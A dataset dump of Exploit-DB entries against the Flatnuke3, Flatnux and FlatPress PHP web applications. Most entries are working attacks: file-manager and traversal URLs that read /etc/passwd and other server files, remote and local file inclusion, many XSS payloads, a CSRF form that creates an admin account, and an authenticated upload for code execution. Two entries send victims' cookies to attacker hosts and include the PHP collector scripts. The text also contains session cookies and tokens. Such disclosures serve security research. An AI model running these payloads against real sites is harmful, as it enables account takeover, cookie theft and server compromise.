deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30698
Description: Flatnuke3 File Manager Module - Unauthorized Access
Type: webapps
Platform: php
Date: 2007-10-22
Author: KiNgOfThEwOrLd

Exploit:
source: https://www.securityfocus.com/bid/26155/info

Flatnuke3 is prone to an unauthorized-access vulnerability because it fails to adequately verify administrative credentials while logging in via the 'File Manager' module.

An attacker can exploit this vulnerability to gain administrative control of the application; other attacks are also possible.

This issue affects Flatnuke3-2007-10-10; other versions may also be vulnerable. 

Full Path Disclosure Example:

http://www.example.com/flatnuke3_path/index.php?mod=[forum_path]
&op=disc&argumentname=[a_casual_char]
---------------------------------------------------------------
File Replace Exploit:

<form method="post" action="http://www.example.com/flatnuke3_path/index.php?
mod=none_filemanager&amp;op="><textarea id="body" name="body" cols="90" rows="
35">
&lt;/textarea&gt;<br><input value="Save" type="submit"><input type="reset">
<input name="opmod" value="save" type="hidden">
<input name="ffile" value="[file_name].php" type="hidden">
<input name="dir" value="/[script_path]/[file_path]" type="hidden"><input
class="button" onclick="history.back()" value="Annulla" type="button"></form>
---------------------------------------------------------------
User Credential View/Edit Exploit:

http://www.example.com/flatnuke3_path/index.php?mod=none_filemanager&dir=/
[script_path]/[flatnuke3_path]/misc/fndatabase/users/&ffile=[username].
php&opmod=open&op=

Or, for example u can view and edit a file located on the server:

http://www.example.com/flatnuke3_path/index.php?mod=none_filemanager&dir=/
[script_path]/&ffile=[file]&opmod=open&op=
Exploit-DB #7461
Description: Flatnux - html/JavaScript Injection Cookie Grabber
Type: webapps
Platform: php
Date: 2008-12-14
Author: gmda

Exploit:
<!--
exploit flatnux grabber cookies visitor
site :http://www.speleoalex.altervista.org/flatnuke3/index.php
download:http://www.speleoalex.altervista.org/flatnuke3/index.php?mod=06_Download
author:gmda

Flatnux does not filter code html/javascript then you can injector in this way:

operation
1] register
2] make longin
3] use the HTML code below
-->
<html><head>
</head>
<body>
<form enctype="multipart/form-data" action="http://victim.org/flatnux/index.php?mod=08_Files&amp;opmod=insertrecord" method="POST">
titolo*<input  size ="20"  style="visibility:hidden;" value="filex &lt;iframe  width=&quot;0&quot; height=&quot;0&quot; style=&quot;visibility:hidden;&quot; src=&quot;javascript:window.location=&apos;http://attacker.org/grab.php?cmd=&apos;+document.cookie;&quot;&gt;&lt;/iframe&gt;" name="name" type="text" /><br />
<textarea title="Inserisci qui la descrizione" cols="80"  rows="10"  name="description" style="visibility:hidden;" >&lt;/textarea&gt;<br />
Immagine<input  size="20" name="foto1" type="file" style="visibility:hidden;" /><br />
File<input  size="20" name="file" type="file" style="visibility:hidden;" /><br />
<input type="submit" value="Zic">
</form>
</body></html>
<!-- grab.php
<?php $data = $_GET['cmd'];
$date=date("j F, Y, g:i a");
$referer=$_SERVER['HTTP_REFERER'];
$fh = fopen("cookie.txt",'a+');
fwrite($fh, $referer . " / " . $data."\n".$date."\n");
fclose($fh);
?>
-->

<!-- xss variables mod foto

/sections/05_Foto/photo.php?mod=05_Foto&foto=>"><script>alert(69)%3B</script>&lang=it
/?mod=%3E%22%3E%3Cscript%3Ealert(69)%3B%3C/script%3E

-->

# milw0rm.com [2008-12-14]
Exploit-DB #7938
Description: Flatnux 2009-01-27 - Cross-Site Scripting / Iframe Injection
Type: webapps
Platform: php
Date: 2009-02-02
Author: Alfons Luja

Exploit:
/* 
  - Flatnux-2009-01-27 XSS/Iframe injection p0c
  + 1] Create acount 
  + 1] Go to http://localhost/~flatnux/?mod=login&op=modprof&user=[username]
       - Set iframe in the Job fields       
         (Jobless l0l<iframe src=http://0xc00000fdh.boo.pl/flatnux_ost.php style="visibility:hidden;width:0px;height:0px"></iframe>) 
  + 3] Now m4k3 frieNdship witch Sheep

  Greetings : cOndemned , sid.psycho , wszyscy ktÃ³rych nikÃ³w nie umie wymÃ³wiÄ‡ :P 
              and Biggest 4 g0rion l0l

  "... droga jest waÅ¼niejsza od celu .... :P"
  http://www.wrzuta.pl/audio/iL4UkPk6YK/
  Alfons Luja 
*/       
            

<script type="text/javascript">
          path = "http://localhost/~flatnux/index.php?mod=02_Flatforum\"><script>location.href=\"http://0xc00000fdh.boo.pl/collector.php?kuka=\"%2Bdocument.cookie;<%2Fscript>";
          location.href =  path;
</script>


/*++++++++++++++++++collector.php++++++++++++++++++++++
<?php
  if(isset($_GET['kuka'])){
     $gethim = $_GET['kuka'];
     $data = "KUKI_GRABER:\n";
     $data.= date("dmY H:i:s")."\n";
     $data.= "REFERER: ".$_SERVER['HTTP_REFERER']."\n";
     $data.= "IP: ".$_SERVER['REMOTE_ADDR']."\n";
     $data.= "CIACHO: ".$gethim."\n";
     $hnd = fopen("KUKI_FLATNUX.TXT","a");
      if(!hnd) exit(666);
         flock($hnd,LOCK_EX);
         fwrite($hnd,$data);
         flock($hnd,LOCK_UN);
         fclose($hnd);
  }
?>
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/

# milw0rm.com [2009-02-02]
Exploit-DB #7969
Description: Flatnux 2009-01-27 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-02-03
Author: Alfons Luja

Exploit:
@ flatnux Flatnux-2009-01-27 RFI
  zaleÅ¼noÅ›ci P 
  + Alfons Luja 
  + 2009 
  + grts : All friends
  
  
  VULN : 
       +++ include/theme.php
         ... 
        <?php
          if (eregi("theme.php", $_SERVER['PHP_SELF']))
	     die();                         // 0 <-- I dont give a fuck 
	

             global $theme, $_FNROOTPATH,$lang;   //<-- 1 
             global $forumback, $forumborder;       
             $_FN['table_background']=&$forumback;
             $_FN['table_border']=&$forumborder;


             if ($forumback=="" && $forumborder==""){
	        $forumback="ffffff";
	        $forumborder="000000";
                }
                require_once ($_FNROOTPATH . "themes/$theme/theme.php");

             /*------- Funzioni ridefinibili da theme.php--------------*/
         //......
      +++ /flatnux.php line 116:
            
           //$_FNROOTPATH Still dont have value 
           include_once "./include/theme.php";   //-- 2
          
      +++ /filemanager.php 
          include "./include/flatnux.php"; // -- RFI

  p0c:
     http://localhost/~flatnux/index.php?_FNROOTPATH=[EVIL]%00    
     http://localhost/~flatnux/filemanager.php?mod=&op=&dir=/&opmod=newfile&filemanager_editor=tfuj_stary&_FNROOTPATH=[EVIl]%OO
     ... itd ...

  --http://www.wrzuta.pl/audio/xLyg0zckZS/--
  #EÅOF lol

# milw0rm.com [2009-02-03]
Exploit-DB #34933
Description: Flatnux 2009-03-27 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-06-03
Author: intern0t

Exploit:
source: https://www.securityfocus.com/bid/44454/info

FlatNux is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

FlatNux 2009-03-27 is vulnerable; other versions may also be affected. 

http://www.example.com/flatnux/index.php?mod="><script>alert(0)</script>
http://www.example.com/flatnux/index.php?mod=login&op=profile&user="><script>alert(0)</script>
http://www.example.com/flatnux/index.php?opindex=modcont&file=misc/motd.en.php&from="><script>alert(0)</script>
ttp://www.example.com/flatnux/controlcenter.php?mod=controlcenter&op=03_users/20_groups&opmod=insnew_groups&pk="><script>alert(0)</script>
Exploit-DB #34234
Description: Flatnux 2010-06.09 - 'find' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-01
Author: ITSecTeam

Exploit:
source: https://www.securityfocus.com/bid/41282/info

Flatnux is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Flatnux 2010-06.09 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?mod=none_Search&find="><script>alert(1)</script>
Exploit-DB #51295
Description: flatnux 2021-03.25 - Remote Code Execution (Authenticated)
Type: webapps
Platform: php
Date: 2023-04-06
Author: Ömer Hasan Durmuş

Exploit:
# Exploit Title: flatnux-2021-03.25 - Remote Code Execution (Authenticated)
# Exploit Author: Ömer Hasan Durmuş
# Vendor Homepage: https://en.altervista.org
# Software Link: http://flatnux.altervista.org/flatnux.html
# Version: 2021-03.25
# Tested on: Windows/Linux

POST
/flatnux/filemanager.php?mode=t&filemanager_editor=ckeditor4&dir=misc/media/news&CKEditor=fckeditorsummary_en&CKEditorFuncNum=1&langCode=en
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/109.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]940283286
Content-Length: 413
Origin: http://localhost
Connection: close
Referer:
http://localhost/flatnux/controlcenter.php?page___xdb_news=1&opt=fnc_ccnf_section_news&mod=news&mode=edit&pk___xdb_news=1&desc_=1&order___xdb_news=date&op___xdb_news=insnew
Cookie: fnuser=admin; secid=fe0d39d41d63bec72eda06bbc7942015; lang=en;
ckCsrfToken=BFS3h505LnG9r0um2NcRBRbHklciwy5qj0Aw3xsb
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

----------------------------[PII_REDACTED][PII_REDACTED]940283286
Content-Disposition: form-data; name="upload"; filename="info.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
----------------------------[PII_REDACTED][PII_REDACTED]940283286
Content-Disposition: form-data; name="ckCsrfToken"

BFS3h505LnG9r0um2NcRBRbHklciwy5qj0Aw3xsb
----------------------------[PII_REDACTED][PII_REDACTED]940283286--
Exploit-DB #37035
Description: FlatnuX CMS - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2012-04-01
Author: Vulnerability Laboratory

Exploit:
source: https://www.securityfocus.com/bid/52846/info
 
Flatnux is prone to multiple security vulnerabilities:
 
1. An HTML-injection vulnerability
2. A cross-site request-forgery vulnerability
3. A directory-traversal vulnerability
 
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials, obtain sensitive information, or control how the site is rendered to the user. Other attacks are also possible.
 
The following versions are vulnerable:
 
Flatnux 2011-08.09.2
Flatnux 2011-2012-01.03.3
Flatnux 2011-minimal-2012-01.03.3
Fncommerce 2010-08-09-no-db
Fncommerce 2010-08-09-no-sample-data
Fncommerce 2010-08-09-with-sample-data
Fncommerce 2010-12-17-no-db
Fncommerce 2010-12-17-no-sample-data
Fncommerce 2010-12-17-with-sample-data 

<html>
<form  name="test" 
action="http://www.example.com/flatnux/controlcenter.php?page___xdb_fn_users=1&order___xdb_fn_users=username&desc___xdb_fn_users=&op___xdb_fn_users=insnew&page___
xdb_fn_users=&op=editdata&opt=utilities/xmldb_admin&t=fn_users" method="post">
<input type="hidden" name="username" value="csrf"><br/>
<input type="hidden" name="email" value="csrf () hotmail com"><br/>
<input type="hidden" name="passwd" value="186911"><br/>
<input type="hidden" name="passwd_retype" value="186911"><br/>
<input type="hidden" name="name" value="csrf"><br/>
<input type="hidden" name="surname" value="Mr"><br/>
<input type="hidden" name="link" value="http"><br/>
<input type="hidden" name="avatarimage" value=""><br/>
<input type="hidden" name="avatar" value=""><br/>
<input type="hidden" name="save___xdb_fn_users" value="__xdb_fn_users"><br\>
<input type="hidden" name="activ" value=1><br/>
</form>
<script>document.test.submit();</script>
</html>
Exploit-DB #37034
Description: FlatnuX CMS - Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2012-04-01
Author: Vulnerability Laboratory

Exploit:
source: https://www.securityfocus.com/bid/52846/info

Flatnux is prone to multiple security vulnerabilities:

1. An HTML-injection vulnerability
2. A cross-site request-forgery vulnerability
3. A directory-traversal vulnerability

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials, obtain sensitive information, or control how the site is rendered to the user. Other attacks are also possible.

The following versions are vulnerable:

Flatnux 2011-08.09.2
Flatnux 2011-2012-01.03.3
Flatnux 2011-minimal-2012-01.03.3
Fncommerce 2010-08-09-no-db
Fncommerce 2010-08-09-no-sample-data
Fncommerce 2010-08-09-with-sample-data
Fncommerce 2010-12-17-no-db
Fncommerce 2010-12-17-no-sample-data
Fncommerce 2010-12-17-with-sample-data 

http://www.example.com/flatnux/controlcenter.php?opt=contents/Files&dir=%2Fetc&ffile=passwd&opmod=open
Exploit-DB #24870
Description: Flatnux CMS 2013-01.17 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2013-03-22
Author: DaOne

Exploit:
##########################################
[~] Exploit Title: Flatnux CMS Local File Inclusion
[~] Date: 21-03-2013
[~] Author: DaOne aka Mocking Bird
[~] Vendor Homepage: http://flatnux.altervista.org/
[~] Software Link: http://flatnux.altervista.org/download.html?f=Flatnux-Next/flatnux-2013-01.17.zip
[~] Category: webapps/php
[~] Version: 2013-01.17
[~] Tested on: Apache/2.2.8(Win32) PHP/5.2.6
##########################################

# Exploit
index.php?theme={localfile}{nullbyte}
http://localhost/flatnux/index.php?theme=../../../../../../../../../../windows/win.ini%00
Exploit-DB #10688
Description: Flatpress - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : FlatPress Cross Site Scripting Vulnerability                            |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : powered by FlatPress / http://www.flatpress.org/                        |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/flatpress/contact.php/>"><ScRiPt>alert([PII_REDACTED]60)</ScRiPt>
| 2- http://server/flatpress/login.php/>"><ScRiPt>alert([PII_REDACTED]60)</ScRiPt>
| 3- http://server/flatpress/search.php/>"><ScRiPt>alert([PII_REDACTED]60)</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #35896
Description: Flatpress 0.1010.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-06-28
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/48482/info

FlatPress is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

FlatPress 0.1010.1 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/index.php?x=entry:entry[PII_REDACTED]22;comments:1" method="post">
<input type="hidden" name="name" value=&#039;"><script>alert(1);</script>&#039;>
<input type="hidden" name="email" value=&#039;"><script>alert(2);</script>&#039;>
<input type="hidden" name="url" value=&#039;"><script>alert(3);</script>&#039;>
<input name="send" value="EXPLOIT" type="submit">
</form>
Exploit-DB #32421
Description: Flatpress 0.804 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-09-25
Author: Fabian Fingerle

Exploit:
source: https://www.securityfocus.com/bid/31407/info

FlatPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to FlatPress 0.804.1 are vulnerable. 

<form method="post" action="http://localhost/flatpress/login.php"> <input type="text" name="user" value='"><script>alert(1)</script>'> <input type=submit></form> <form method="post" action="http://localhost/flatpress/login.php"> <input type="text" name="pass" value='"><script>alert(1)</script>'> <input type=submit></form> <form method="post" action="http://localhost/flatpress/contact.php"> <input type="text" name="name" value='"><script>alert(1)</script>'> <input type=submit></form>
Exploit-DB #12034
Description: Flatpress 0.909.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-03
Author: ITSecTeam

Exploit:
##############################################################################
#Title:             FlatPress 0.909.1 Stored XSS                             #
#Vendor:            http://www.flatpress.org                                 #
#Dork:              "powered by FlatPress"                                   #
##############################################################################
#AUTHOR:            ITSecTeam                                                #
#Email:             Bug@ITSecTeam.com                                        #
#Website:           http://www.itsecteam.com                                 #
#Forum :            http://forum.ITSecTeam.com                               #
#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability32.htm #
#Thanks:            r3dm0v3, Pejvak, am!rkh@n & everyone in the world :D     #
##############################################################################

#DESCRIPTION (by vendor):#####################################################
FlatPress is an open-source standard-compliant multi-lingual extensible 
blogging engine which does not require a DataBase Management System to work.


#BUG:#########################################################################
file fp-plugins/lastcomments/plugin.lastcomments.php:
 52:			$content .=	
 53:			"<li>
 54:			<blockquote class=\"comment-quote\" cite=\"comments.php?entry={$arr['entry']}#{$arr['id']}\">
 55:			{$arr['content']} //<-----vulnerable line!
 56:			<p><a href=\"".get_comments_link($arr['entry']).
 57:			"#{$arr['id']}\">{$arr['name']} - {$entry['subject']}</a></p>
 58:			</blockquote></li>\n";

Unfiltered comment is used to create last comments block!


#EXPLOIT:####################################################################
goto comments and post any script as comment content!
Exploit-DB #48826
Description: Flatpress Add Blog 1.0.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-09-22
Author: Alperen Ergel

Exploit:
# Exploit Title: Flatpress Add Blog 1.0.3 - Persistent Cross-Site Scripting
# Date: 2020-09-19
# Exploit Author: Alperen Ergel
# Vendor Homepage: https://www.flatpress.org/
# Software Link: https://github.com/evacchi/flatpress/releases/tag/v1.0.3
# Version: 1.0.3 
# Tested on: windows 10 / xampp 
# CVE : CVE-2020-35241


# Proof Of Content

POST /flatpress/admin.php?p=entry&action=write HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 223
Origin: http://localhost/
Connection: close
Referer: http://localhost/flatpress/admin.php?p=entry&action=write
Cookie: fpuser_fp-a53f4609=opensourcecms; fppass_fp-a53f4609=79dc9a3c529fcd0d9dc4fc7ff22187b6; fpsess_fp-a53f4609=71v18tu3lsc0s021q2pj8a3je7; _ga=GA1.2.487[PII_REDACTED]520069; _gid=GA1.2.95[PII_REDACTED]520069; _gat=1
Upgrade-Insecure-Requests: 1

_wpnonce=4fc4222db1&_wp_http_referer=%2Fflatpress%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=XSS&timestamp=[PII_REDACTED]&
entry=entry[PII_REDACTED]42&attachselect=--&imageselect=--&content=<img src=x onerror='alert("TEST XSS")'/>&savecontinue=Save%26Continue


# Snipp

content=[PAYLOAD] //<img src=x onerror='alert("TEST XSS")'/>